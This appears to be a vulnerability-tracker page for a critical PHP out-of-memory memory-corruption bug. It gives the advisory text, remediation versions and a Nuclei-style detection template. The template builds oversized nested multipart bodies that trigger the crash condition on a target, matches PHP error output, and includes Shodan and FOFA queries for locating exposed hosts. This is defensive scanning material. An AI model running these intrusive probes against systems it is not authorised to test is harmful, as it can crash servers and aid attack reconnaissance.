CVE-2026-109618: PHP2Shell (CVE-2026-109618/CVE-2026-109619) - Active Crash Detection

2026-11-09 PoC Public

Description

PHP uses longjmp() for out-of-memory (OOM) errors to exit the current context and abort handling of the request. Some contexts may not properly account for this scenario and leave request memory in an uninitialized state before performing an allocation. The subsequent request cleanup procedure may read or branch on this memory. Multiple OOM strategies can consistently trigger this condition and lead to remote code execution (RCE).

Details

CVE
CVE-2026-109618 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-109618

info:
  name: PHP2Shell (CVE-2026-109618/CVE-2026-109619) - Active Crash Detection
  author: lcfr_hax,assetnote,princechaddha,s4e-io
  severity: critical
  description: |
    PHP uses longjmp() for out-of-memory (OOM) errors to exit the current context and abort handling of the request. Some contexts may not properly account for this scenario and leave request memory in an uninitialized state before performing an allocation. The subsequent request cleanup procedure may read or branch on this memory. Multiple OOM strategies can consistently trigger this condition and lead to remote code execution (RCE).
  impact: |
    Affected PHP installations may allow an unauthenticated attacker to corrupt process memory, disclose sensitive worker memory, or achieve remote code execution as the web worker account.
  remediation: |
    Upgrade to PHP 8.2.35, 8.3.36, 8.4.27, 8.5.12, or later. PHP 8.1 and older are end-of-life upstream; upgrade to a supported branch or apply vendor backports for both CVE-2026-109618 and CVE-2026-109619.
  reference:
    - https://www.php.net/index.php#2026-10-21-5
    - https://www.php.net/archive/2026.php
    - https://cert.europa.eu/publications/security-advisories/2026-018
    - https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w
    - https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp
    - https://www.wiz.io/blog/php2shell-php-rce
    - https://github.com/assetnote/php2shell-scanner
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 9.2
    cve-id: CVE-2026-109618
    epss-score: 0.99999
    epss-percentile: 0.99999
    cwe-id: CWE-416
    cpe: cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: php
    product: php
    shodan-query: 'http.component:"PHP"'
    fofa-query: 'header="X-Powered-By: PHP"'
  tags: cve,cve2026,php,php2shell,rce,intrusive,vkev,kev

flow: |
  function repeatStr(s, n) {
    var r = '';
    while (n > 0) {
      if (n & 1) r += s;
      s += s;
      n >>= 1;
    }
    return r;
  }
  function buildProbe(sizeMib, parts) {
    var size = sizeMib * 1048576;
    var nested = repeatStr('[a]', 62);
    var part = '--\nContent-Disposition:name=a[]' + nested + ';filename=\n\n';
    var base = repeatStr(part, parts);
    var fillerCount = Math.floor((size - base.length) / 3);
    var filler = repeatStr('x:\n', fillerCount);
    var body = '--\n' + filler + base.substring(3);
    return body.substring(0, body.length - 1);
  }
  function versionVerdict(v) {
    if (!v) return null;
    var m = v.match(/^(\d+)\.(\d+)\.(\d+)(.*)$/);
    if (!m) return null;
    var major = parseInt(m[1]), minor = parseInt(m[2]), patch = parseInt(m[3]);
    if (major < 8 || (major === 8 && minor < 2)) return 'EOL';
    var fixed = {'8.2': 35, '8.3': 36, '8.4': 27, '8.5': 12};
    var key = major + '.' + minor;
    if (!(key in fixed)) return null;
    if (patch < fixed[key]) return 'VULNERABLE';
    if (patch === fixed[key] && /^[-_.]?(dev|alpha|beta|rc)/i.test(m[4])) return 'VULNERABLE';
    return 'FIXED';
  }
  var PROBES = [[1, 4000], [8, 1020], [20, 1020]];
  var REJECTED = {400:1, 403:1, 411:1, 413:1, 414:1, 417:1, 422:1, 429:1, 431:1};
  http('control');
  var ctrlStatus = parseInt(template['ctrl_status']);
  if (!ctrlStatus) {
  } else if (ctrlStatus >= 500) {
  } else {
    var poweredBy = template['ctrl_powered_by'] || '';
    var matchedPHPError = false;
    for (var i = 0; i < PROBES.length; i++) {
      set('probe_body', buildProbe(PROBES[i][0], PROBES[i][1]));
      var matched = http('probe');
      if (template['probe_powered_by']) {
        poweredBy = template['probe_powered_by'];
      }
      if (matched) {
        matchedPHPError = true;
        break;
      }
      var probeStatus = parseInt(template['probe_status']);
      if (probeStatus in REJECTED) {
        break;
      }
      if (versionVerdict(poweredBy) === 'FIXED') {
        break;
      }
    }
    var verdict = versionVerdict(poweredBy);
    var distroBuild = /ubuntu|deb|\.el[0-9]|\.fc[0-9]|amzn|\.al[0-9]|remi|sury/i.test(poweredBy) ||
      /\((?:Ubuntu|Debian|Red Hat|CentOS|Rocky|AlmaLinux|Amazon|SUSE)\)/i.test(template['ctrl_server'] || '');
    if (distroBuild && verdict === 'VULNERABLE') {
      verdict = null;
    }
    if (!matchedPHPError && (verdict === 'VULNERABLE' || verdict === 'EOL')) {
      set('version_verdict', verdict === 'EOL' ? 'eol' : 'true');
      set('powered_by_ver', poweredBy);
      http('version-verdict');
    }
  }

http:
  - id: control
    raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=x
        Connection: close

        --x
        Content-Disposition:name=a;filename=

    matchers:
      - type: dsl
        dsl:
          - "true"
        internal: true

    extractors:
      - type: dsl
        name: ctrl_status
        dsl:
          - "status_code"
        internal: true

      - type: regex
        name: ctrl_powered_by
        part: header
        group: 1
        regex:
          - '(?im)^(?:X-Powered-By|Server):[^\r\n]*\bPHP/([0-9]+\.[0-9]+\.[0-9]+[^\s;,)]*)'
        internal: true

      - type: regex
        name: ctrl_server
        part: header
        group: 1
        regex:
          - '(?im)^Server:\s*([^\r\n]+)'
        internal: true

  - id: probe
    raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=
        Connection: close

        {{probe_body}}

    matchers:
      - type: dsl
        name: memory-exhaustion
        dsl:
          - 'contains(body, "Allowed memory size of") && contains(body, "bytes exhausted") && contains(body, "Unknown")'

    extractors:
      - type: dsl
        name: probe_status
        dsl:
          - "status_code"
        internal: true

      - type: regex
        name: probe_powered_by
        part: header
        group: 1
        regex:
          - '(?im)^(?:X-Powered-By|Server):[^\r\n]*\bPHP/([0-9]+\.[0-9]+\.[0-9]+[^\s;,)]*)'
        internal: true

      - type: regex
        name: version
        part: header
        group: 1
        regex:
          - '(?im)^(?:X-Powered-By|Server):[^\r\n]*\bPHP/([0-9]+\.[0-9]+\.[0-9]+(?:(?:[-+~_A-Za-z]|\.[A-Za-z])[0-9A-Za-z._+~-]*)?)(?:[ \t;,)\r]|$)'

  - id: version-verdict
    raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers:
      - type: dsl
        name: version-vulnerable-no-crash
        dsl:
          - 'version_verdict == "true"'

      - type: dsl
        name: version-eol-branch
        dsl:
          - 'version_verdict == "eol"'

    extractors:
      - type: regex
        name: version
        part: header
        group: 1
        regex:
          - '(?im)^(?:X-Powered-By|Server):[^\r\n]*\bPHP/([0-9]+\.[0-9]+\.[0-9]+(?:(?:[-+~_A-Za-z]|\.[A-Za-z])[0-9A-Za-z._+~-]*)?)(?:[ \t;,)\r]|$)'
# digest: 4b0a0048304602210085c6178f9f06a71a0fbc52960a95d52ce424228e69747651ce380be840c365c90221008da9d34945f99dca89f45648d043610764ddd32bfe24128d4a25f57b0d7ab93c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life